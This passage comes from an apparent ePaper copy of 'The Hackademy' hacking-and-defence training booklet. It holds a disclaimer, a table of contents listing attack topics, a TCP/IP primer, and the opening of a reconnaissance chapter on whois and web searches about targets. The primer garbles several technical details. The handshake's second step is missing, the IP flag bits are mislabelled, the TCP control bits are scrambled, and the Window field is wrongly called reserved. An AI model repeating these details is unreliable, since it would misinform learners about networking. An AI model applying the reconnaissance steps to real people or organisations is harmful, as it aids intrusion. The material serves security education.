You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
<strong>Hack</strong> security<br />
“pro”
Important<br />
The aim <strong>of</strong> the present The <strong>Hack</strong>ademy training course booklet is to contribute to a better understanding<br />
<strong>of</strong> security risks in the use <strong>of</strong> IT, thus allowing a better protection from these risks. It will be <strong>of</strong> use to<br />
network and system administrators, developers and pr<strong>of</strong>essionals working with the Internet. If you wish to<br />
understand how a hacker could try to attack you, and you want to protect yourself from these attacks, this<br />
training course is made for you. However, no guarantee is given that the contents <strong>of</strong> this course will give<br />
you total protection; you will nonetheless have all the material you need to develop an efficient security<br />
management policy. Furthermore, this course cannot aim to exhaustively cover all aspects <strong>of</strong> security: we<br />
detail common attack methods and give you the means to protect yourself from these.<br />
The <strong>Hack</strong>ademy and DMP cannot be held responsible for any damage caused by an implementation <strong>of</strong><br />
the methods presented here.<br />
It is strictly forbidden by law to apply any <strong>of</strong> the attack methods presented in this training course on any<br />
system that you do not own. You can however apply them on computer systems as vulnerability tests,<br />
bearing in mind that there are always risks involved for the stability <strong>of</strong> audited systems.<br />
Warning<br />
It is essential to understand that the methods in this booklet are presented above all as a general<br />
comprehension <strong>of</strong> security and <strong>of</strong> methods used by hackers, with the one and only aim <strong>of</strong> fighting<br />
against this danger.<br />
What's more, these protection methods can be used both by companies and individuals. Leaving aside<br />
all the private documents stored on your computer, a hacker could use your system as a gateway, to<br />
avoid being found. In this case, it would be up to you, as a natural person or as a legal entity, to prove<br />
your innocence. In case <strong>of</strong> hacking, the proper security policy is to entirely reinstall your system again,<br />
resulting in a loss <strong>of</strong> both time and money.<br />
The general structure <strong>of</strong> this document will be as follows:<br />
> Description <strong>of</strong> the attack or the type <strong>of</strong> vulnerability.<br />
> Means to implement to avoid becoming a victim<br />
The <strong>Hack</strong>ademy DMP -2/209- SYSDREAM
Authors<br />
For their contribution to the elaboration <strong>of</strong> this training course and the writing <strong>of</strong> this booklet, we would<br />
like to thank:<br />
• Crashfr (crashfr@thehackademy.net)<br />
• Xdream Blue (xdream@thehackademy.net)<br />
• Clad Strife (clad@thehackademy.net)<br />
The <strong>Hack</strong>ademy DMP -3/209- SYSDREAM
CONTENTS<br />
Introduction....................................................................................................6<br />
TCP/IP.......................................................................................................................... 7<br />
Chapter I: Information Acquisition.............................................................21<br />
Public Information Acquisition.....................................................................................22<br />
Network Mapping........................................................................................................ 26<br />
Zone Transfer............................................................................................................. 27<br />
Fingerprinting the System........................................................................................... 29<br />
Port Scanning............................................................................................................. 29<br />
Listing <strong>of</strong> Services.......................................................................................................31<br />
Netbios Listing............................................................................................................ 36<br />
Applicative Fingerprinting............................................................................................38<br />
Listing <strong>of</strong> Firewalling Rules......................................................................................... 38<br />
Chapter II: Client Vulnerabilities................................................................................ 41<br />
Virus Attack.................................................................................................................42<br />
Trojans........................................................................................................................ 47<br />
ActiveX........................................................................................................................51<br />
Chapter III: Networks Vulnerabilities....................................................................... 61<br />
Network Sniffing..........................................................................................................62<br />
Network Spo<strong>of</strong>ing........................................................................................................68<br />
Bypassing a Firewall................................................................................................... 76<br />
Idle Host Scanning......................................................................................................83<br />
Connection Hijacking.................................................................................................. 89<br />
Attack <strong>of</strong> Secure <strong>Pro</strong>tocols..........................................................................................94<br />
Denial <strong>of</strong> Services....................................................................................................... 98<br />
The <strong>Hack</strong>ademy DMP -4/209- SYSDREAM
Chapter IV: Web Vulnerabilities............................................................................... 100<br />
Site Mapping............................................................................................................. 101<br />
PHP Vulnerability...................................................................................................... 106<br />
CGI Vulnerability....................................................................................................... 115<br />
SQL Injections...........................................................................................................123<br />
XSS...........................................................................................................................130<br />
Chapter V: Applicative Vulnerabilities.................................................................. 135<br />
Escape Shell............................................................................................................. 136<br />
Buffer Overflow......................................................................................................... 137<br />
Format String............................................................................................................ 153<br />
Race Conditions........................................................................................................159<br />
Chapter VI: Systems Vulnerabilities...................................................................... 166<br />
Brute Force Authentication....................................................................................... 167<br />
System Spying.......................................................................................................... 176<br />
Backdoors and Rootkits............................................................................................ 178<br />
Chapter VII: Generic <strong>Security</strong> <strong>Pro</strong>cedures......................................................... 181<br />
Intrusion Detection Systems..................................................................................... 182<br />
Monitoring with Windows.......................................................................................... 184<br />
Anti Portscan.............................................................................................................185<br />
Cryptography............................................................................................................ 186<br />
System Integrity........................................................................................................ 196<br />
Firewalling.................................................................................................................198<br />
VPN...........................................................................................................................205<br />
The <strong>Hack</strong>ademy DMP -5/209- SYSDREAM
INTRODUCTION<br />
The <strong>Hack</strong>ademy DMP -6/209- SYSDREAM
INTRODUCTION TO TCP/IP NETWORKS<br />
Networks Notions<br />
The material<br />
Any communication needs a medium. This also applies to IT, so it was necessary to create interfaces<br />
capable <strong>of</strong> translating the binary language <strong>of</strong> a digital system into a signal appropriate for a medium<br />
(copper pair cable, coaxial cable, fiber optics, etc.) These interfaces have electronic circuits that can<br />
allow you to listen and transmit on a medium. Each adaptor also has a small quantity <strong>of</strong> memory that is<br />
accessible by the host system (PC, etc.)<br />
The first phase <strong>of</strong> development was to create these adaptors, as well as delivering, for later<br />
developments, a precise documentation on registers and addresses to use and operate the<br />
communication functions.<br />
These operations are the first layer <strong>of</strong> the OSI reference model. It is the physical layer. It allows a<br />
communication between a (digital) system and an (analogical) transmission medium (airwaves, laser,<br />
copper, fiber optics, etc.)<br />
The most common cards are the Ethernet 802.3 cards (RJ45, BNC, AUI); they can withstand outputs <strong>of</strong><br />
10Mb/s or 100Mb/s. They can transcript digital data (e.g. 0011 0100) into tension appropriate for the<br />
medium (amplitude, coding, etc.)<br />
Network adaptors also handle the medium's condition, and can detect a certain number <strong>of</strong> errors on it.<br />
This part is transparent to developers, it is however ensured by each NIC (Network Interface Card).<br />
All Ethernet cards have a single physical address. This address, also called a MAC (Media Access<br />
Control) address is used for dialogues between the two cards. It is coded on 6 bytes, the first 3<br />
describing the manufacturer (e.g. 00:0a:24 is the manufacturer 3COM). MAC addresses (MAC addresses<br />
format) are generally shown in a hexadecimal form, each byte being separated by the ':' symbol (e.g.<br />
00:40:05:61:71:EC).<br />
Transmissions security (reliability)<br />
The network layer therefore links a destination to the network (either directly or indirectly, hence the<br />
routing functions); it also takes care <strong>of</strong> basic service management operations. ICMP packets can be<br />
exchanged between routers or stations to indicate an event on the network (loss <strong>of</strong> packet, screening,<br />
oversized packet and necessary IP fragmentation, etc.)<br />
It is however necessary to have the s<strong>of</strong>tware part capable <strong>of</strong> ensuring the proper emission/reception <strong>of</strong><br />
data. When a packet (or datagram) does not reach its destination, with no s<strong>of</strong>tware intervention, the pack<br />
has not arrived, but will never be automatically transmitted again.<br />
Two protocols can fill this void: UDP (User Datagram <strong>Pro</strong>tocol) and TCP (Transmission Control <strong>Pro</strong>tocol).<br />
UDP does not control packet losses, each packet is transmitted without being numbered to the<br />
destination, and without acknowledgement. As for the TCP protocol, it ensures a more reliable transfer <strong>of</strong><br />
data, by opening a communication session before any dialogue, then by numbering packets for<br />
reconstruction, by re-transmitting lost or mistaken packets...<br />
The <strong>Hack</strong>ademy DMP -7/209- SYSDREAM
So the TCP and UDP protocols are the transport layer in the IP pile, they are the ones that ensure data<br />
transmission from one point <strong>of</strong> the network to the other, by handling (or not handling) the necessary retransmission<br />
<strong>of</strong> lost or altered packets, etc.<br />
Networks communications: the OSI and TCP/IP models<br />
Communications between systems are possible only if each system understands its destination (a<br />
Frenchman doesn't necessarily speak Spanish and vice versa). It was therefore necessary to devise a<br />
norm to allow everyone to communicate using an existing network.<br />
That is why TCP/IP is called an open network. The protocols used are standardized and available for the<br />
whole world. Anyone can thus adapt his owner system to communicate in TCP/IP, by writing the various<br />
s<strong>of</strong>tware components according to TCP/IP standards (the majority <strong>of</strong> OS now have a TCP/IP<br />
implementation).<br />
The Open Systems Interconnection Reference Model has standardised an OSI-RM reference model,<br />
using 7 distinct layers. TCP/IP fits into this model, but does not systematically use all 7 layers.<br />
Each layer's role is to enable the upper layer to send to it the data that will be transmitted, as well as<br />
transmitting data from the lower layer to the upper layer (received data).<br />
We can therefore see that for a single communication between two systems, several protocols need to<br />
be used.<br />
Encapsulation<br />
Only the upper layer (Application) contains data, and this is only the data that is to be transmitted or<br />
received. Each layer adds its own header, encapsulating data packets into bigger packets, or by taking<br />
<strong>of</strong>f the header in case <strong>of</strong> reception.<br />
When a data packet needs to be transmitted by an application, this data will receive several headers<br />
according to the protocols used.<br />
The <strong>Hack</strong>ademy DMP -8/209- SYSDREAM
In case <strong>of</strong> reception, each layer will take the necessary information and will then withdraw its headers to<br />
send the remaining data blocks to the next layer above.<br />
Links<br />
In certain cases, an extra layer is necessary. In case <strong>of</strong> access via a modem (by a serial link), there is no<br />
material address (MAC address) on a modem. This address needing to be used by the physical and<br />
network layers, in theory there can be no communication possible. A modem is not an interface network<br />
but a serial one (communication is done through a COM port), it has no material standard address, nor<br />
does it have any ROM giving an IP communication interface.<br />
An extra s<strong>of</strong>tware layer is thus necessary, in order to simulate and provide an alternative to the use <strong>of</strong> a<br />
MAC address. In the case <strong>of</strong> a TCP/IP link with a modem, a PPP protocol (Point to Point <strong>Pro</strong>tocol) will<br />
generally be used; it will be placed between the network layer and the physical layer. This protocol will<br />
give a s<strong>of</strong>tware solution to IP communications needing a MAC address.<br />
Layers and protocols used<br />
Each layer <strong>of</strong> the IP pile uses one or several protocols to fulfil certain functions (the transport layer uses<br />
TCP or UDP). With this method, layers can standardize incoming and outgoing data flows. Each layer<br />
(and thus each implementation) is therefore independent <strong>of</strong> upper and/or lower layers.<br />
The <strong>Hack</strong>ademy DMP -9/209- SYSDREAM
• A protocol is a dialogue known by the two parties, between two layers <strong>of</strong> the same level. A layer<br />
<strong>of</strong> any (l) level will only be capable <strong>of</strong> dialogue with another layer <strong>of</strong> the same level.<br />
• A service is the array <strong>of</strong> functions that the layer must absolutely fulfil, and it provides the<br />
interface to transmit data from the (l) layer to the (l+1) or (l-1) layer.<br />
Address Resolution <strong>Pro</strong>tocol (ARP)<br />
During a dialogue between two stations, network adaptors must be able to take in the data sent to it,<br />
without processing data that is <strong>of</strong> no concern to it (resulting in a saving <strong>of</strong> CPU and network time). Some<br />
networks function in a bus form (non-switched Ethernet, coaxial links, etc.) and all data transits in the<br />
medium, so all network adaptors must analyse the packets to take into account only the ones that are<br />
directed to them.<br />
The only addresses available and that can be used at the level <strong>of</strong> the physical interface (layer 1 <strong>of</strong> the<br />
TCP/IP model) are MAC addresses. Without these addresses, each adaptor would have to decode each<br />
packet up to (IP) level 3 to know if this data is directed to it or not.<br />
In the case <strong>of</strong> a dialogue between two stations 10.23.23.2 and 10.23.23.254, the first step consists <strong>of</strong><br />
finding the material address <strong>of</strong> the destination station, so as to send the data to this station (and<br />
specifying its material address rather than its IP one). That's when the ARP protocol can be used (level 3,<br />
network layer). This protocol will enable a station to find the material address <strong>of</strong> another station.<br />
To do so, if 10.23.23.2 wishes to contact 10.23.23.254, before any dialogue, the station will broadcast to<br />
all stations <strong>of</strong> the network an ARP request. Each station will then receive this ARP request, in the form <strong>of</strong><br />
the following message:<br />
10.23.23.2 station with xx:xx:xx:xx:xx:xx material address is looking for the material address <strong>of</strong><br />
10.23.23.254.<br />
All stations linked to this segment will then analyse this request, but only 10.23.23.254 station will answer<br />
it, by sending the following message:<br />
10.23.23.254 station has yy:yy:yy:yy:yy:yy as a material address.<br />
10.23.23.2 and 10.23.23.254 stations will then stock the two addresses (IP address and MAC<br />
address) obtained in a cache (called ARP cache, see figure -example <strong>of</strong> an ARP table) so that it won't<br />
have to ask the question again in case <strong>of</strong> a new communication within a short delay (a few minutes,<br />
after which the ARP cache will erase the couple <strong>of</strong> addresses if they are not used anymore).<br />
The <strong>Hack</strong>ademy DMP -10/209- SYSDREAM
ARP heading:<br />
The <strong>Hack</strong>ademy DMP -11/209- SYSDREAM
The ARP cache can be consulted with a shell:<br />
Internet protocol (IP)<br />
On an Ethernet segment, it is not necessary to use a material or s<strong>of</strong>tware layer to fulfil the linking<br />
functions. Level 2 protocols are used only on serial or parallel links, or on any other interface or<br />
equipment without a MAC address (e.g. PPP or SLIP for IP access via a modem).<br />
Each packet circulating on the network has several headers, because <strong>of</strong> consecutive encapsulations. A<br />
packet <strong>of</strong> data thus has at least one header linked to the medium used (usually Ethernet). This is the<br />
case for ARP. Packets using IP addresses will also have IP header information.<br />
The contents <strong>of</strong> this fixed 20-byte header (this is a minimum, it can be more if IP options are used) give<br />
information on the broadcasting station (IP address), the destination's address, the checksum, the<br />
protocol, the version, etc.<br />
There are 3 types <strong>of</strong> IP addresses:<br />
• Unicast for one particular station<br />
• Broadcast for all stations<br />
• Multicast for a (pre-defined) Multicast group<br />
IP header<br />
The <strong>Hack</strong>ademy DMP -12/209- SYSDREAM
Version: 4 bits. The version field gives information on the Internet header format. The present document<br />
describes the protocol's version 4 format.<br />
Header length: 4 bits. The header length field codifies the length <strong>of</strong> the Internet header, the unit in use<br />
being the 32-bit word, which indicates the start <strong>of</strong> data. Please note that this field cannot have a value<br />
under 5 in order to be valid.<br />
Service type: 8 bits. The Service Type gives an indication <strong>of</strong> the service quality requested, however it<br />
remains an “abstract” parameter. This parameter is used to “guide” the choice <strong>of</strong> current service<br />
parameters when a datagram transits through a specific network. Some networks <strong>of</strong>fer a priority<br />
mechanism, whereby a certain type <strong>of</strong> traffic will be treated preferentially to another, less preferred traffic<br />
(generally by accepting to transfer only packets above a certain level <strong>of</strong> preference in case <strong>of</strong> temporary<br />
overloading). The main choice <strong>of</strong>fered is a negotiation between the three following constraints: a short<br />
delay, a low rate <strong>of</strong> error and a high output.<br />
Total length: 16 bits. The “Total Length” field is the length <strong>of</strong> the complete datagram, including header<br />
and data, measured in bytes. This field can only codify a datagram length <strong>of</strong> 65,535 octets. Such a length<br />
would anyway make datagrams impossible to handle for the vast majority <strong>of</strong> networks. Hosts will at least<br />
need to be able to accept datagrams up to a length <strong>of</strong> 576 bytes (whether it be a single datagram or a<br />
fragment). It is also recommended that hosts do not send datagrams over 576 bytes unless they are sure<br />
that the destination is able to accept them.<br />
Identification: 16 bits. An identification value, allocated by the broadcaster to identify the fragments <strong>of</strong> a<br />
single datagram.<br />
Flags: 3 bits. Various control commutators. Bit 0: reserved, must be left at 0. Bit 1: (AF) 0 =<br />
Fragmentation possible, 1 = non-fractionable. Bit 2: (DF) 0 = Last fragment, 1 = Intermediate fragment.<br />
Fragment <strong>of</strong>fset: 13 bits. This field indicates the gap <strong>of</strong> the fragment's first byte related to the whole<br />
datagram. This relative position is measured in 8-byte (64-bit) blocks. The gap <strong>of</strong> the first fragment is<br />
equal to zero.<br />
Time to live: 8 bits. This field can limit the amount <strong>of</strong> time a datagram stays in the network. If this field is<br />
equal to zero, the datagram must be destroyed. This field is modified during the treatment <strong>of</strong> the Internet<br />
header. Each Internet module (router) must withdraw at least one time unit to this field during the<br />
transmission <strong>of</strong> the packet, even if the complete handling <strong>of</strong> the datagram by the module lasts less than<br />
one second. This time to live must thus be seen as the absolute maximum amount <strong>of</strong> time during which a<br />
datagram can exist. This mechanism exists because <strong>of</strong> the necessity to destroy any datagram that has<br />
not been correctly transmitted on the network.<br />
<strong>Pro</strong>tocol: 8 bits. This field indicates which upper level protocol is used in the data section <strong>of</strong> the Internet<br />
datagram. The different values allowed for various protocols are listed in the “Assigned Numbers” RFC<br />
[rfc1060].<br />
Header checksum: 16 bits. Checksum calculated only on the header. As certain fields <strong>of</strong> the header<br />
(e.g. the time to live) are modified during their transit through the network, this checksum must be recalculated<br />
and checked at each network location where the header is re-interpreted.<br />
Address source: 32 bits. The source's Internet address.<br />
The <strong>Hack</strong>ademy DMP -13/209- SYSDREAM
Address destination: 32 bits. The destination's Internet address.<br />
Transmission Control <strong>Pro</strong>tocol (TCP)<br />
The transport layer (layer number 4 in the IP pile) ensures the prosper transfer <strong>of</strong> data. It is this layer that<br />
will for example number the TCP packets before broadcasting them on the network, so that the<br />
destination can re-assemble the entire data in the right order (this is not the case for UDP). Two protocols<br />
are frequently used in a TCP/IP environment: TCP and UDP.<br />
TCP ensures the numbering <strong>of</strong> packets, and the destination acknowledges each one. It is therefore<br />
necessary for the two parties to establish a dialogue negotiation. That is the reason why a TCP<br />
communication always begins by a synchronization <strong>of</strong> the two parties. The broadcaster asks the receptor<br />
if it is ready to receive data; the latter acknowledges the request, that the broadcaster then validates. The<br />
transfer <strong>of</strong> data can then start. The TCP connection is done on a “Three-Way Handshake Connection”.<br />
Let us for example take a machine “A” and a machine “B”. Machine “A” is the client and machine “B” is<br />
the server.<br />
1. A --- SYN---> B; The client machine sends a TCP packet with an activated SYN flag, which<br />
means: “Can I establish a connection? (SYN)”<br />
2. A B; The client machine answers with a TCP packet with an activated ACK flag,<br />
which means: “Yes, you can establish a connection (ACK)”.<br />
If a machine refuses a connection, it will answer with an RST to the SYN sent by the client.<br />
The <strong>Hack</strong>ademy DMP -14/209- SYSDREAM
TCP header:<br />
Source Port: 16 bits. The source's port number.<br />
Destination Port: 16 bits. The destination's port number.<br />
Sequence Number: 32 bits. The number <strong>of</strong> the first byte <strong>of</strong> data compared to the beginning <strong>of</strong> the<br />
transmission (except if SYN is indicated). If SYN is indicated, the sequence number is the Initial<br />
Sequence Number (ISN) and the first byte's number is ISN+1.<br />
Receipt: 32 bits. If ACK is indicated, this field contains the sequence number <strong>of</strong> the following byte that<br />
the receptor expects to receive. Once a connection is established, this field is always informed.<br />
Data <strong>of</strong>fset: 4 bits. The TCP header's size in word numbers is 32 bits. It indicates where data starts. In<br />
all cases, a TCP header is equivalent to an entire number <strong>of</strong> 32-bit words.<br />
Reserved: 6 bits. Reserved for future use. Must be at 0.<br />
Control bits: 6 bits (from left to right): URG: Urgent Data Check <strong>of</strong> significant ACK: Receipt <strong>of</strong> significant<br />
PSH: RST Push Function: SYN connection re-initialization: FIN sequence number Synchronization: End<br />
<strong>of</strong> transmission.<br />
Window: 16 bits. Reserved for future use. Must be at 0.<br />
Checksum: 16 bits. The checksum is done by calculating the complement to 1 on 16 bits <strong>of</strong> the sum <strong>of</strong><br />
complements to 1 <strong>of</strong> the header bytes and the data taken two by two (words <strong>of</strong> 16 bits). If the whole<br />
message contains an odd number <strong>of</strong> bytes, a 0 is added at the end <strong>of</strong> the message to finish the<br />
calculation <strong>of</strong> the checksum. This extra byte is not transmitted. When the checksum is calculated, the<br />
positions <strong>of</strong> the bits consigned to it are marked at 0. The checksum also covers a pseudo-header <strong>of</strong> 96<br />
bits pre-fixed to the TCP header. This pseudo-header contains the source's and the destination's Internet<br />
addresses, the protocol type and the length <strong>of</strong> the TCP message. This protects the TCP against routing<br />
errors. This information will be handled by IP, and given as an argument by the TCP/Network interface<br />
when TCP calls IP.<br />
Urgent Data Check: 16 bits. Communicates the position <strong>of</strong> urgent data by giving the gap compared to<br />
the sequence number. The check must send the urgent data to the following byte. This field is interpreted<br />
only when URG is indicated.<br />
The <strong>Hack</strong>ademy DMP -15/209- SYSDREAM
Options: variable. The options field size can vary, at the end <strong>of</strong> the TCP header. It will always be a<br />
multiple <strong>of</strong> 8 bits. All options are taken into account by the Checksum. An option parameter always<br />
begins on a new byte. It is made <strong>of</strong> two types <strong>of</strong> formats for options: first case: mono-byte option. Second<br />
case: option type byte, option length byte, option value byte. The option length takes into account the<br />
type byte, the length byte itself and all value bytes, and its value is measured in bytes. Please note that<br />
the option list can be shorter than what the data <strong>of</strong>fset would have you believe. In this case a padding<br />
byte must be added after the end <strong>of</strong> options code. This byte must be at 0. TCP must implement all<br />
options. The options currently defined are (type is indicated in octal):<br />
Option Data: Segment maximum size: 16 bits. If this option is present, it communicates to the<br />
broadcaster the maximum size <strong>of</strong> segments it will be able to send. This field must be sent with the initial<br />
connection request (with SYN indicated). If this option is absent, the segment taken can be <strong>of</strong> any size.<br />
Padding: variable. Padding bytes end the TCP header: their byte number is always a multiple <strong>of</strong> 4 (32<br />
bits) so that the data <strong>of</strong>fset indicated in the header corresponds to the beginning <strong>of</strong> applicable data.<br />
User Datagram <strong>Pro</strong>tocol (UDP)<br />
UDP is faster, more tolerant, but also less reliable in its transmission technique. Data is transmitted<br />
without any guarantee that the broadcaster can receive it. Each packet is transmitted on the network<br />
(without being numbered) at the highest possible speed (depending on the station and the medium's<br />
state). If any packets are lost, the broadcaster cannot detect them (nor can the destination); data can<br />
also reach the destination in total disorder according to the complexity <strong>of</strong> the network's topology.<br />
The Source Port is an optional field. When it is <strong>of</strong> any significance, it indicates the port number <strong>of</strong> the<br />
broadcasting process, and it will be supposed, in the absence <strong>of</strong> any further information, that any answer<br />
must be directed to it. If it is not used, this field will keep a value <strong>of</strong> 0.<br />
The Destination Port is <strong>of</strong> significance in the case <strong>of</strong> specific Internet addresses.<br />
The Length shows the number <strong>of</strong> bytes in the whole datagram, including in the present header (and<br />
consequently, the minimum length mentioned in this field is equal to 8 if the datagram carries no data).<br />
The Checksum is calculated by taking the complement to 1 <strong>of</strong> the sum out <strong>of</strong> 16 bits <strong>of</strong> the complements<br />
to 1 calculated on a pseudo-header made up <strong>of</strong> the typical information <strong>of</strong> an IP header, the UDP header<br />
itself, and data, with a zero byte added so that the total number <strong>of</strong> bytes be even, should this be needed.<br />
The Pre-header added before the UDP header contains the IP source address, the IP destination<br />
address, the protocol code and the UDP segment length. This information can increase the immunity <strong>of</strong><br />
the network to datagram routing errors. The checksum calculation procedure is the same as for TCP.<br />
The <strong>Hack</strong>ademy DMP -16/209- SYSDREAM
TCP/UDP Port Notions: Multiplexing/Demultiplexing<br />
A station can simultaneously transmit and receive several TCP and UDP data flows. For this to happen,<br />
each extremity (and these can be different for each established communication) must be attached to a<br />
packet arriving on an interface. To do this, TCP and UDP protocols use port numbers. These numbers<br />
are COMPULSARY in any TCP or UDP communication, and can associate a communication to a<br />
process. All data transiting on the network therefore has two port numbers: the first one on the<br />
transmitting side, the second one one the destination side. All communications thus have 2 couples <strong>of</strong><br />
numbers (IP address, port used) relative to an extremity.<br />
TCP and UDP ports are totally independent. It is therefore possible to have a simultaneous<br />
communication on port 25/TCP and port 25/UDP.<br />
This technique corresponds to multiplexing/demultiplexing. By decoding the port number in the packet,<br />
data is sent to one or the other process <strong>of</strong> the system. Systems conventionally implement the following<br />
rules:<br />
• Port numbers under 1024 can only be used by the super-user,<br />
• A client application using TCP or UDP will use a port number above 1024 (even if the user is<br />
the super-user). There are however some voluntary exceptions, such as r-services...<br />
A communication implies that a port be open to the client machine and that another port be open to the<br />
server machine. These ports are not necessarily the same one.<br />
1. A server application opens a port permanently to allow for waiting time for connection requests.<br />
2. A client application opens ports on a needs basis. It does not wait for a connection request, it<br />
does not have the role <strong>of</strong> a server application and therefore it is not a point <strong>of</strong> entry into a system.<br />
3. There are 65,535 ports; no more, no less. Most <strong>of</strong> these are reserved for specific services (FTP:<br />
21, telnet: 23, SMTP: 25, etc.)<br />
4. A closed port is like a wall made <strong>of</strong> reinforced concrete: nothing enters, nothing exits.<br />
Examples<br />
1. When A sends to B a TCP packet with an activated SYN flag, and the requested port is closed, B<br />
machine sends back a TCP packet with an activated RST flag. Some firewalls do not send back<br />
a TCP packet with an activated RST flag (such as ZoneAlarm).<br />
2. When A wants to connect to B's HTTP server, its client application (Internet Explorer) will open a<br />
port (1106, for example). The client application will send a packet made up <strong>of</strong> IP, TCP, HTTP<br />
headers to port 80 <strong>of</strong> B machine.<br />
The <strong>Hack</strong>ademy DMP -17/209- SYSDREAM
Here are some <strong>of</strong> the commonly used TCP ports according to their services:<br />
PORTS PROTO SERVICES<br />
21 TCP FTP<br />
22 TCP SSH<br />
23 TCP TELNET<br />
25 TCP SMTP<br />
53 UDP DNS<br />
79 TCP FINGER<br />
80 TCP HTTP<br />
110 TCP POP3<br />
111 TCP PORTMAPPER<br />
119 TCP NNTP<br />
139 TCP NETBIOS<br />
143 TCP IMAP<br />
443 TCP HTTPS<br />
445 TCP MICROSOFT-DS<br />
2049 UDP NFS<br />
If data packets were transmitted in a totally disorganised manner, without any rules guiding their<br />
transmission and construction, systems would not be able to understand each other in a global way. The<br />
system <strong>of</strong> an A company would understand another A company's system; but not that <strong>of</strong> a Q company.<br />
For systems to be able to understand the data they send to each other, there has to be a standard to the<br />
way this data is constructed and the way it is sent. This standardization is done thanks to the<br />
development <strong>of</strong> “protocols”. each packet will be made <strong>of</strong> headers specific to a protocol.<br />
On the Internet, the most common protocol is TCP (Transmission Control <strong>Pro</strong>tocol). When you go to a<br />
website, for example http://www.dmpfrance.com, the IP (Internet <strong>Pro</strong>tocol) protocols, TCP and HTTP<br />
(Hyper Text Transfer <strong>Pro</strong>tocol) will be used to send and construct data packets.<br />
• IP will be used to define anything concerning the addressing <strong>of</strong> data;<br />
• TCP will define the type <strong>of</strong> packet sent;<br />
• HTTP will send data that is specific to it, i.e. web pages.<br />
IP will be used in the addressing <strong>of</strong> packets, thus allowing the transmitting and receiving relay machines<br />
to establish a correct path <strong>of</strong> data transmission. TCP will define the type <strong>of</strong> packet, i.e. a type <strong>of</strong> packet<br />
that can be used to establish a connection, close it, etc. These two protocols are definitely the most<br />
important on the Internet at a global level.<br />
Using the Netstat command<br />
The “netstat” command is an instructive one, although it is not always easy to read. It shows the protocol<br />
statistics and the TCP/IP network connection in use on the local machine.<br />
The <strong>Hack</strong>ademy DMP -18/209- SYSDREAM
Start the MS-DOS control interface<br />
The first column shows the protocol used in the communication. The second one shows your machine's<br />
address, or its name. After the double dot comes the number <strong>of</strong> the port used in the communication. The<br />
third column shows the address <strong>of</strong> the destination machine. After the colon comes the number <strong>of</strong> the port<br />
used in the communication. The last column shows the state <strong>of</strong> the communication: whether it is<br />
established, being established, ending, etc.<br />
Note: If a server application such as a Trojan monopolises a port, and an intruder is connected to the<br />
trojan, you will be able to see it thanks to netstat!<br />
IP addressing<br />
Any system wishing to communicate on the global IP network (Internet) must have an IP address. These<br />
addresses, given by regulation bodies, are filed and standardized. An Internet station can only be located<br />
(reached) by its unique couple <strong>of</strong> addresses (IP address, under-network mask).<br />
IP addresses:<br />
An IP address is made up <strong>of</strong> two fields: the network address and the machine address. The network<br />
address is calculated on the most significant bits, whereas the machine address is calculated on least<br />
significant ones.<br />
There are several categories <strong>of</strong> addresses, namely categories A, B, C, D and E. The difference between<br />
them is the number <strong>of</strong> most significant bits in them.<br />
An IP address always takes the following form: a.b.c.d. In A class, b, c and d values can be freely fixed.<br />
In theory, one can address a maximum <strong>of</strong> 16,777,216 (2 3x8 =224) machines.<br />
B class leaves the values <strong>of</strong> c and d free. So one will be able to address 65,536 (2 2x8 =216) machines.<br />
C class leaves only the value <strong>of</strong> d free. So one will be able to address 256 (28) machines.<br />
D class is a different one, as it is reserved for a particular use: multicasting (broadcasting in real time<br />
towards several destinations).<br />
The <strong>Hack</strong>ademy DMP -19/209- SYSDREAM
As for the E class, it has not been used up to now except for experimental use.<br />
In theory, one has the following address ranges:<br />
Specific addresses:<br />
127.0.0.1 localhost or loopback<br />
62.0.0.0c designates the A class network (all bits from H to 0).<br />
62.255.255.255 designates all machines <strong>of</strong> A class network (Broadcast) (all bits from H to 1).<br />
There are several so-called non-routable addresses. These addresses are reserved for internal use, or<br />
for private networks. In theory, these are never routed on the Internet. There are 3 types <strong>of</strong> IP addresses:<br />
• A class: 10.0.0.0<br />
• B class: 172.16.0.0 to 172.31.0.0<br />
• C class: 192.168.0.0 to 192.168.255.0<br />
127.0.0.0 is also a particular A class, as it is never dispatched on the network. It is reserved for internal<br />
use. It corresponds to the loopback interface. The IP address 127.0.0.1 therefore designates your<br />
computer.<br />
The <strong>Hack</strong>ademy DMP -20/209- SYSDREAM
CHAPTER I<br />
INFORMATION ACQUISITION<br />
The <strong>Hack</strong>ademy DMP -21/209- SYSDREAM
1. Public information acquisition<br />
An intrusion attempt always starts by acquiring information on the target system. To do this, a<br />
methodology is applied. In the following explanations, we will see what these techniques <strong>of</strong> gathering<br />
information on a system are, how they can be used, and <strong>of</strong> course how to protect yourself.<br />
A) Whois databases<br />
The information given during the registration <strong>of</strong> a domain name are saved in public databases called<br />
whois databases, and can be consulted freely on the Internet. This data can be found on the domain<br />
names providers' websites (gandi, Internic, Arpanet ...) or via websites that directly consult providers'<br />
databases associated to the domain name (www.allwhois.com). You can find the name and telephone<br />
number <strong>of</strong> the person in charge <strong>of</strong> the domain, the DNS server addresses and the IP ranges<br />
associated to the domain. The result <strong>of</strong> a request concerning thehackademy.net domain will for<br />
example give the following result:<br />
Domain names in the .com and .net domains can now be registered<br />
with many different competing registrars. Go to http://www.internic.net<br />
for detailed information.<br />
Domain Name: THEHACKADEMY.NET<br />
Registrar: GANDI<br />
Whois Server: whois.gandi.net<br />
Referral URL: http://www.gandi.net<br />
Name Server: NS7.GANDI.NET<br />
Name Server: CUSTOM2.GANDI.NET<br />
Status: ACTIVE<br />
Updated Date: 19-apr-2004<br />
Creation Date: 28-oct-2002<br />
Expiration Date: 28-oct-2005<br />
>>> Last update <strong>of</strong> whois database: Tue, 4 May 2004 07:33:44 EDT
expires: 2005-10-28 11:28:29<br />
created: 2002-10-28 17:28:30<br />
changed: 2004-04-19 14:38:03<br />
person: DMP DMP<br />
nic-hdl: DD61-GANDI<br />
address: DMP<br />
address: 7, rue darboy<br />
address: 75011<br />
address: Paris<br />
address: France<br />
phone: 0143554656<br />
fax: 0143554646<br />
e-mail: dmpfrance@wanadoo.fr<br />
lastupdated: 2003-10-29 13:26:19<br />
B) Internet<br />
A person<br />
You are perhaps a regular on forums or newsgroups, or you have your own web page. A hacker who<br />
would have targeted you could start a search <strong>of</strong> your presence on the web to acquire further<br />
information.<br />
• As far as newsgroups are concerned, all the hacker has to do is to use search engines specific to<br />
newsgroups, such as http://groups.google.com<br />
• Concerning forums and websites, a simple search with a search engine such as Google<br />
(http://www.google.com) will do.<br />
